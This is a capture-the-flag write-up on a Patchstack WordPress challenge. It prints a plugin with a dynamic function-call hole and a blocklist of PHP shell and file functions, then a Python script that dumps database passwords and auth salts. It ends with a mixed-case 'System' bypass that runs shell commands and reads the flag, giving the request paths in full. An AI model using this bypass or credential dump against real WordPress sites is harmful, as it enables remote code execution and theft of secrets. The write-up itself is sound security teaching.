Patchstack CTF: Cool Templates
This writeup explores a Patchstack WordPress CTF challenge where a vulnerable custom footer feature allows for dynamic function execution. The challenge involves bypassing a blocklist and REGEX restrictions on function names to execute arbitrary code.

Patchstack hosted their second CTF (S02E01) during WordCamp Asia and competition was fierce, but I managed to place 5th 🥳. Some of the challenges were really interesting, and I learned a few cool tricks, so I decided to blog about them. Here’s the first one:

Challenge Page
As a big fan of template injection (WPML 😉), I had big hopes for Cool Templates, and it delivered. It was a really fun challenge with just the right amount of frustration. It was quite a simple plugin that adds a customisation footer to every WordPress page.
All the code is in a single file custom-footer.php
:
if (!defined('ABSPATH')) {
exit; // Prevent direct access
}
function simpletext($text = "Default Footer Text") {
return "<footer style='text-align:center; padding:10px; background:#f1f1f1;'>{$text}</footer>";
}
function bigtext($text = "Default Footer Text") {
return "<footer style='text-align:center; padding:10px; background:#333; color:#fff;'>{$text}</footer>";
}
function gradientfooter($text = "Default Footer Text") {
return "<footer style='text-align:center; padding:15px; background:linear-gradient(to right, #ff7e5f, #feb47b); color:#fff;'>{$text}</footer>";
}
function add_custom_footer() {
$blacklist = array("system", "passthru", "proc_open", "shell_exec", "include_once", "require", "require_once", "eval", "fopen",'fopen', 'tmpfile', 'bzopen', 'gzopen', 'chgrp', 'chmod', 'chown', 'copy', 'file_put_contents', 'lchgrp', 'lchown', 'link', 'mkdir', 'move_uploaded_file', 'rename', 'rmdir', 'symlink', 'tempnam', 'touch', 'unlink', 'imagepng', 'imagewbmp', 'image2wbmp', 'imagejpeg', 'imagexbm', 'imagegif', 'imagegd', 'imagegd2', 'iptcembed', 'ftp_get', 'ftp_nb_get', 'file_exists', 'file_get_contents', 'file', 'fileatime', 'filectime', 'filegroup', 'fileinode', 'filemtime', 'fileowner', 'fileperms', 'filesize', 'filetype', 'glob', 'is_dir', 'is_executable', 'is_file', 'is_link', 'is_readable', 'is_uploaded_file', 'is_writable', 'is_writeable', 'linkinfo', 'lstat', 'parse_ini_file', 'pathinfo', 'readfile', 'readlink', 'realpath', 'stat', 'gzfile', 'readgzfile', 'getimagesize', 'imagecreatefromgif', 'imagecreatefromjpeg', 'imagecreatefrompng', 'imagecreatefromwbmp', 'imagecreatefromxbm', 'imagecreatefromxpm', 'ftp_put', 'ftp_nb_put', 'exif_read_data', 'read_exif_data', 'exif_thumbnail', 'exif_imagetype', 'hash_file', 'hash_hmac_file', 'hash_update_file', 'md5_file', 'sha1_file', 'highlight_file', 'show_source', 'php_strip_whitespace', 'get_meta_tags', 'extract', 'parse_str', 'putenv', 'ini_set', 'mail', 'header', 'proc_nice', 'proc_terminate', 'proc_close', 'pfsockopen', 'fsockopen', 'apache_child_terminate', 'posix_kill', 'posix_mkfifo', 'posix_setpgid', 'posix_setsid', 'posix_setuid', 'phpinfo', 'posix_mkfifo', 'posix_getlogin', 'posix_ttyname', 'getenv', 'get_current_user', 'proc_get_status', 'get_cfg_var', 'disk_free_space', 'disk_total_space', 'diskfreespace', 'getcwd', 'getlastmo', 'getmygid', 'getmyinode', 'getmypid', 'getmyuid', 'create_function', 'exec', 'popen', 'proc_open', 'pcntl_exec');
if (isset($_REQUEST['template']) && isset($_REQUEST['content'])) {
$template = $_REQUEST['template'];
$content = wp_unslash(urldecode(base64_decode($_REQUEST['content'])));
if(preg_match('/^[a-zA-Z0-9]+$/', $template) && !in_array($template, $blacklist)) {
$footer = $template($content);
echo $footer;
}
}
}
add_action('wp_footer', 'add_custom_footer');
And that’s it!
We can pass in two parameters, the first template
is the function that will be called. This uses an “interesting” feature of PHP that allows you to execute strings-as-functions by appending parenthesis to it. For example:
$hello = 'phpinfo';
$hello(); // This will execute phpinfo
This can be quite a handy shorthand for developers wanting dynamic function execution, but it’s prone to abuse if a user can control the input string.
The second parameter is the content
which will be base64 decoded before being passed as an argument into the function.
$footer = $template($content);
The screenshot below shows the legitimate way to call this function, by providing base64 encoded text hello
-> aGVsbG8
and the function name gradientfooter
, which displays a nicely colored footer:

Nice Gradient Footer
So we can call “arbitrary” functions with a single parameter that we control. However, there is a blacklist of functions we cannot use as well as a regex restriction. This blocks a load of interesting functions and the REGEX (/^[a-zA-Z0-9]+$/
) prevents us from calling any with and underscore _
. It also blocks static calls to class methods like ClassName::method_name
.
I modified a function I often use in hacking WordPress plugins to see what functions are defined:
function what_functions_are_defined_here()
{
// Get all defined functions
$all_functions = get_defined_functions();
$blacklist = array("system", "passthru", "proc_open", "shell_exec", "include_once", "require", "require_once", "eval", "fopen",'fopen', 'tmpfile', 'bzopen', 'gzopen', 'chgrp', 'chmod', 'chown', 'copy', 'file_put_contents', 'lchgrp', 'lchown', 'link', 'mkdir', 'move_uploaded_file', 'rename', 'rmdir', 'symlink', 'tempnam', 'touch', 'unlink', 'imagepng', 'imagewbmp', 'image2wbmp', 'imagejpeg', 'imagexbm', 'imagegif', 'imagegd', 'imagegd2', 'iptcembed', 'ftp_get', 'ftp_nb_get', 'file_exists', 'file_get_contents', 'file', 'fileatime', 'filectime', 'filegroup', 'fileinode', 'filemtime', 'fileowner', 'fileperms', 'filesize', 'filetype', 'glob', 'is_dir', 'is_executable', 'is_file', 'is_link', 'is_readable', 'is_uploaded_file', 'is_writable', 'is_writeable', 'linkinfo', 'lstat', 'parse_ini_file', 'pathinfo', 'readfile', 'readlink', 'realpath', 'stat', 'gzfile', 'readgzfile', 'getimagesize', 'imagecreatefromgif', 'imagecreatefromjpeg', 'imagecreatefrompng', 'imagecreatefromwbmp', 'imagecreatefromxbm', 'imagecreatefromxpm', 'ftp_put', 'ftp_nb_put', 'exif_read_data', 'read_exif_data', 'exif_thumbnail', 'exif_imagetype', 'hash_file', 'hash_hmac_file', 'hash_update_file', 'md5_file', 'sha1_file', 'highlight_file', 'show_source', 'php_strip_whitespace', 'get_meta_tags', 'extract', 'parse_str', 'putenv', 'ini_set', 'mail', 'header', 'proc_nice', 'proc_terminate', 'proc_close', 'pfsockopen', 'fsockopen', 'apache_child_terminate', 'posix_kill', 'posix_mkfifo', 'posix_setpgid', 'posix_setsid', 'posix_setuid', 'phpinfo', 'posix_mkfifo', 'posix_getlogin', 'posix_ttyname', 'getenv', 'get_current_user', 'proc_get_status', 'get_cfg_var', 'disk_free_space', 'disk_total_space', 'diskfreespace', 'getcwd', 'getlastmo', 'getmygid', 'getmyinode', 'getmypid', 'getmyuid', 'create_function', 'exec', 'popen', 'proc_open', 'pcntl_exec');
// Filter user-defined functions without an underscore in the name
$matching_functions1 = array_filter($all_functions['user'], function ($function) use ($blacklist) { return strpos($function, '_') === false && !in_array($function, $blacklist);
});
// Output the matching functions
print_r($matching_functions1);
// Filter user-defined functions without an underscore in the name
$matching_functions2 = array_filter($all_functions['internal'], function ($function) use ($blacklist) {
return strpos($function, '_') === false && !in_array($function, $blacklist);
});
// Output the matching functions
print_r($matching_functions2);
}
This gives us a lot of functions we can access, we can reduce this down further by only displaying those that allow calling with a single argument. I started having a look at bloginfo
that can obtain some values from WordPress such as the admin_email
. A request to /?template=bloginfo&content=YWRtaW5fZW1haWw=
returns [email protected]
. This is a nice demonstration of the execution, but nothing interesting is saved there.
A more interesting function we can hit is constant
which allows us to print the contents of any defined constant. I tried this on my local test instance and then wrote a short Python script to list out a load of the interesting values from the target.
import base64
import re
import requests
TARGET = 'http://wordpress.local:1337'
TARGET = 'http://52.77.81.199:9122'
def do_request(func, param):
param = base64.b64encode(param.encode()).decode()
r = requests.get(f'{TARGET}/?template={func}&content={param}')
match = re.search(r'</div>[\s\n]*([^<]*)<script id="wp-block-template', r.text)
content = match.group(1) if match else None
return content
constants = """DB_NAME
DB_USER
DB_PASSWORD
DB_HOST
DB_CHARSET
DB_COLLATE
AUTH_KEY
SECURE_AUTH_KEY
LOGGED_IN_KEY
NONCE_KEY
AUTH_SALT
SECURE_AUTH_SALT
LOGGED_IN_SALT
NONCE_SALT
...""".splitlines()
for constant in constants:
content = do_request('constant', constant)
print(constant, content)
This shows the following values:
ABSPATH /var/www/html/
DB_NAME wordpress
DB_USER wordpress
DB_PASSWORD ZYVTtGx9Si96ZA36twaBs7mXWL2lvkI1
DB_HOST wp_service_1_db
DB_CHARSET utf8
DB_COLLATE
AUTH_KEY oRY0&xrZ JIm};F|uc>ZOXNhmW(&F*&;Y jki{[Ap]xLq-kCBa8?g(ImiVD]eUaw
SECURE_AUTH_KEY None
LOGGED_IN_KEY :ydLHv Lf/}MMtj}aE-)c#rbKp;b+M!SwZkfb!;PX5Dr*rT~+DAojL#U,h_*35/e
NONCE_KEY None
AUTH_SALT None
SECURE_AUTH_SALT g)e7W9rJ[fwv]~4xSl2*~2:S ;,Mr]h{o30Ow6FyS4o/M~V(dijo81sw%-r!AG{!
LOGGED_IN_SALT None
NONCE_SALT fCGf8VT(gY]x!yg};3sGSa>p>5miCJn+K(^yOlNT!70}y#mO>b*2YOJi$}cD$xy:
BLOCKS_PATH /var/www/html/wp-includes/blocks/
WP_CONTENT_URL http://52.77.81.199:9122/wp-content
WP_PLUGIN_DIR /var/www/html/wp-content/plugins
WP_PLUGIN_URL http://52.77.81.199:9122/wp-content/plugins
PLUGINDIR wp-content/plugins
WPMU_PLUGIN_DIR /var/www/html/wp-content/mu-plugins
WPMU_PLUGIN_URL http://52.77.81.199:9122/wp-content/mu-plugins
MUPLUGINDIR wp-content/mu-plugins
COOKIEHASH eb412336a2756993f3d650cbcdee84d8
USER_COOKIE wordpressuser_eb412336a2756993f3d650cbcdee84d8
PASS_COOKIE wordpresspass_eb412336a2756993f3d650cbcdee84d8
AUTH_COOKIE wordpress_eb412336a2756993f3d650cbcdee84d8
SECURE_AUTH_COOKIE wordpress_sec_eb412336a2756993f3d650cbcdee84d8
LOGGED_IN_COOKIE wordpress_logged_in_eb412336a2756993f3d650cbcdee84d8
This was cool, as we expose some very sensitive values, like the AUTH_KEY
, SECURE_AUTH_SALT
and NONCE_SALT
. These could likely be used to generate nonces, or to help forge cookies, but given how small the plugin is, this was unlikely to be the right path to travel down.
After taking a break for a little bit I decided to try something I thought was silly. So I dropped into an interactive PHP shell (php -a
) and decided to try and see if we could use capital letters in PHP function names to bypass the REGEX restriction:
root@0c8f1becbc5f:/var/www/html# php -a
Interactive shell
php > Eval('echo 1+1;');
2
Bingpot. It worked! However, when I went to test this on the sever it did not work 😔 This is because eval
is a bit of special function in PHP and cannot be directly executed by "Eval"()
. We also cant use something like shell_exec
because it contains and underscore and the regex blocks ti, but we can use system
or should I say SYSTEM
!!!
We can send the following request where ls -lah /
base64 encoded is bHMgLWxhaCAv
creating a path of:/?template=System&content=bHMgLWxhaCAv
Woo, this shows that the flag is in the root directory:

Command Execution Listing Directory
total 64K
drwxr-xr-x 1 root root 4.0K Feb 20 00:47 .
drwxr-xr-x 1 root root 4.0K Feb 20 00:47 ..
-rwxr-xr-x 1 root root 0 Feb 20 00:47 .dockerenv
lrwxrwxrwx 1 root root 7 Feb 3 00:00 bin -> usr/bin
drwxr-xr-x 2 root root 4.0K Dec 31 10:25 boot
drwxr-xr-x 5 root root 340 Feb 20 00:47 dev
drwxr-xr-x 1 root root 4.0K Feb 20 00:47 etc
-r--r--r-- 1 root root 28 Feb 20 00:43 flag-0YX84qJMZwAs6jJF0tQwHBWd694XuIRZ.txt
drwxr-xr-x 2 root root 4.0K Dec 31 10:25 home
lrwxrwxrwx 1 root root 7 Feb 3 00:00 lib -> usr/lib
lrwxrwxrwx 1 root root 9 Feb 3 00:00 lib64 -> usr/lib64
drwxr-xr-x 2 root root 4.0K Feb 3 00:00 media
drwxr-xr-x 2 root root 4.0K Feb 3 00:00 mnt
drwxr-xr-x 2 root root 4.0K Feb 3 00:00 opt
dr-xr-xr-x 385 root root 0 Feb 20 00:47 proc
drwx------ 1 root root 4.0K Feb 20 01:20 root
drwxr-xr-x 1 root root 4.0K Feb 4 04:33 run
lrwxrwxrwx 1 root root 8 Feb 3 00:00 sbin -> usr/sbin
drwxr-xr-x 2 root root 4.0K Feb 3 00:00 srv
dr-xr-xr-x 13 root root 0 Feb 20 00:47 sys
drwxrwxrwt 1 root root 4.0K Feb 20 00:47 tmp
drwxr-xr-x 1 root root 4.0K Feb 3 00:00 usr
drwxr-xr-x 1 root root 4.0K Feb 4 04:33 var
drwxr-xr-x 1 root root 4.0K Feb 4 04:33 var<script id=
And then similarly cat /flag-0YX84qJMZwAs6jJF0tQwHBWd694XuIRZ.txt
in base64 is flag-0YX84qJMZwAs6jJF0tQwHBWd694XuIRZ.txt
results in a path of /?template=System&content=Y2F0IC9mbGFnLTBZWDg0cUpNWndBczZqSkYwdFF3SEJXZDY5NFh1SVJaLnR4dA==
And this gives us the flag:

Command Execution Printing the Flag
</footer>
</div>
CTF{C00l_T3mpl4t3s_759eee4d}CTF{C00l_T3mpl4t3s_759eee4d}<script id="wp-block-template-skip-link-js-after">
Flag: CTF{C00l_T3mpl4t3s_759eee4d}
Summary
This write-up explores the risks of PHP’s dynamic function execution, showcasing how a vulnerable WordPress plugin in the Patchstack CTF was exploited by bypassing restrictions using PHP’s acceptance of mixed-case function names. By creatively leveraging PHP’s flexibility, the challenge demonstrated how attackers can execute arbitrary commands, highlighting the need for strict input validation and cautious use of dynamic features.